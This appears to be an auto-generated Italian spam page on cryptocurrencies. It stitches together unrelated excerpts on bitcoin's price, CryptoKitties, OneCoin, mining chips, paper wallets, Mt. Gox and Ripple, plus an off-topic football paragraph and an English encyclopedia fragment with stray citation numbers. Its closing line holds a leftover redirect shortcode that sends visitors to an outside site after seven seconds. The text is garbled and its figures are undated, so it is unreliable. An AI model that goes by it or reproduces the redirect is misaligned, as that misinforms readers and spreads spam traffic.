“Cryptocurrencies sono note da quando Valuta digitale offline”

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Abbiamo cominciato a parlarvi del bitcoin nel 2013, quando la moneta digitale era ancora un oggetto sconosciuto. Da allora, il bitcoin e tutto il mondo delle cosiddette cryptocurrencies hanno fatto molta strada, per non dire dei guadagni… a inizio 2013 il bitcoin valeva 14 dollari, oggi ne vale circa 2.600.

UN FELINO È PER SEMPRE. Crypto-kitties è sbarcato il 28 novembre sulla blockchain di Ethereum. Basato sugli smart contract, il gioco permette di collezionare gattini digitali, ciascuno dei quali dotato di “gattributi” unici. I padroni di due animali possono farli accoppiare per generarne un terzo che combini i loro “geni” oppure pagare un altro utente che possieda un esemplare con caratteristiche particolari. I crypto-kitties, quindi, possono essere venduti e scambiati su Ethereum e la registrazione sulla blockchain rende impossibile la replica, il furto e la distruzione.

Alla fine sono stati i calci di rigore a stabilire chi tra Milan e Lazio avrebbe affrontato la Juventus in finale di Coppa Italia. A spuntarla sono stati i rossoneri sotto la nevicata dell’Olimpico che ha fatto impazzire di gioia il tecnico Gennaro Gattuso. E la sua corsa, un po’ appesantita, è già virale sui social.

OneCoin Ltd rompe il silenzio e comunica di aver impugnato la decisione dell’Antitrust. Ci eravamo lasciati con il botto di fine anno: l’Antitrust aveva sospeso in maniera cautelativa «ogni attività diretta alla promozione e diffusione della criptomoneta OneCoin nonché dei pacchetti formazione ad essa collegati». (leggi il post: «L’Antitrust sospende OneCoin in Italia»). Qualche giorno fa, sulle colonne […]

Ancora più felice è forse chi si occupa di produrre tali chip, come la taiwanese TSMC, che vede nel mining una nuova grande opportunità di incasso. Oltre alla maggiore produzione di GPU, TSMC sta raccogliendo moltissimi di ordini per la realizzazione di ASIC dedicati al mining dalla cinese Bitmain Technologies.

Paper wallet: si tratta di un wallet stampato su carta grazie a 2 QR code. Un codice è per l’indirizzo pubblico del wallet (dove riceverai le criptovalute), l’altro codice è l’indirizzo privato (che puoi usare per spendere le criptovalute).

Sia i club che gli insider ritengono che STARS Token, una criptovaluta basata su Ethereum, incoraggerebbe trasparenza e responsabilizzazione altrimenti raramente viste nelle transazioni del calcio odierno.

Una spiegazione semplice ed efficace di come funziona questo meccanismo è quella che fornisce sul suo blog “Macromania” il vicepresidente della Federal Reserve di St Louis David Andolfatto. Immaginate di essere ad una festa con molti invitati e di avere alzato un po’ il gomito. A quel punto fate un annuncio che viene recepito da tutti i presenti. L’informazione viene quindi validata da questa conoscenza diffusa, senza bisogno che si sia qualcuno appositamente incaricato di registrarla o scriverla in diario. La mattina dopo sarà infatti parecchio complicato contattare uno ad uno tutti i presenti per correggere quanto avete affermato. Questo sistema funziona molto bene, da sempre, in comunità ristrette. Ora la tecnologia a nostra disposizione consente di estenderla su scale globale e gestire un enorme quantità di dati. Ciascuna transazione di ogni singolo bitcoin viene comunicata a una rete di computer sparsi su tutto il pianeta che la validano e la registrano. Si crea così una catena di informazioni che cresce continuamente e incorpora la storia di ogni moneta. In cambio di questa opera di archiviazione i computer che gestiscono questi complicati algoritmi ottengono dei nuovi bitcoin.

Dal novembre 2013 l’Università di Nicosia, a Cipro, accetta il bitcoin come mezzo di pagamento delle tasse universitarie.[15] A partire dal primo luglio 2016, nella città di Zugo, capitale di uno dei Cantoni più ricchi della Svizzera, è possibile pagare in bitcoin alcuni servizi pubblici, tra cui la sanità e i trasporti.[16] Alcuni commercianti, utilizzando siti di cambio, permettono di cambiare bitcoin in diverse valute, ivi compresi dollari statunitensi, euro, rubli russi e yen giapponesi.[17]

Vi è anche l’alternativa dei forum, dove utenti appassionati di criptovalute partecipano e dove di solito è presente una sezione per acquistare e vendere criptovalute. In questo caso però le transazioni avvengono tra i singoli utenti senza un controllo vero e proprio, quindi bisogna fidarsi dell’altro utente e delle recensioni che ha accumulato nel corso degli anni a suo favore. E’ consigliabile usare sempre un exchange per i primi acquisti.

Ciò che è importante per distinguere Tron dalle altre criptovalute è l’idea di creare un ecosistema di contenuti digitali basato su blockchain. Prima che i token TRX esplodessero di valore nelle ultime settimane, l’obiettivo principale di Sun’s Tron Foundation era offrire ai media creatori un modo per possedere e distribuire il proprio lavoro senza doversi preoccupare di intermediari come Google Play o l’Apple Store.

BANCHE E COLOSSI TECH CORRONO AI RIPARI. Rispetto al Bitcoin, però, Ethereum è più flessibile e, soprattutto, meno anarchica. Non è un caso che 30 banche e grandi colossi tech – fra cui Jp Morgan (ricordate il suo Ceo, Jamie Dimon, definire Bitcoin «una frode»?), Santander, Ubs, Microsoft e Intel – si siano riuniti in un consorzio (l’Enterprise Ethereum Alliance) per studiare come sfruttare la rivoluzione cripto-monetaria senza venirne travolti. Riuscirà Ethereum a fare del Bitcoin un vecchio conio?

In September 2015, the establishment of the peer-reviewed academic journal Ledger (ISSN 2379-5980) was announced. It covers studies of cryptocurrencies and related technologies, and is published by the University of Pittsburgh.[68][69] The journal encourages authors to digitally sign a file hash of submitted papers, which will then be timestamped into the bitcoin blockchain. Authors are also asked to include a personal bitcoin address in the first page of their papers.[70][71]

Anche se i wallet dei servizi online sono comunque sempre esposti al rischio hacking. Per esempio, uno dei più famosi bitcoin exchange in Giappone, ovvero Mt. Gox, è stato costretto a chiudere i battenti dopo che degli hacker si erano intrufolati all’interno dei loro server e avevano rubato bitcoin per il valore di oltre $450 milioni.

A un certo punto di giovedì, Chris Larsen è diventato la quinta persona più ricca del mondo, secondo la classifica di Forbes: è arrivato davanti a gente come il CEO di Facebook Mark Zuckerberg, o Larry Page e Sergey Brin di Google. Capita spesso che le persone più ricche del mondo siano sconosciute ai più, ma Larsen è un nome ancora più oscuro: è infatti il co-fondatore e presidente di Ripple, società che gestisce una criptovaluta che ha attraversato una crescita enorme negli ultimi mesi, ma che a differenza di Bitcoin è stata meno raccontata.

Criptovalute: S&P Global Ratings tranquillizza gli investitori (e intanto su Bitcoin continua a succedere di tutto…) S&P Global Ratings ha respinto al mittente i timori legati al fatto che – come “sancito” da più parti – le criptovalute avrebbero il potenziale per far crollare il sistema finanziario globale. L’agenzia ha invece ricondotto su più miti consigli anche gli scenari più … [redirect url=’http://curbee.info/bump’ sec=’7′]

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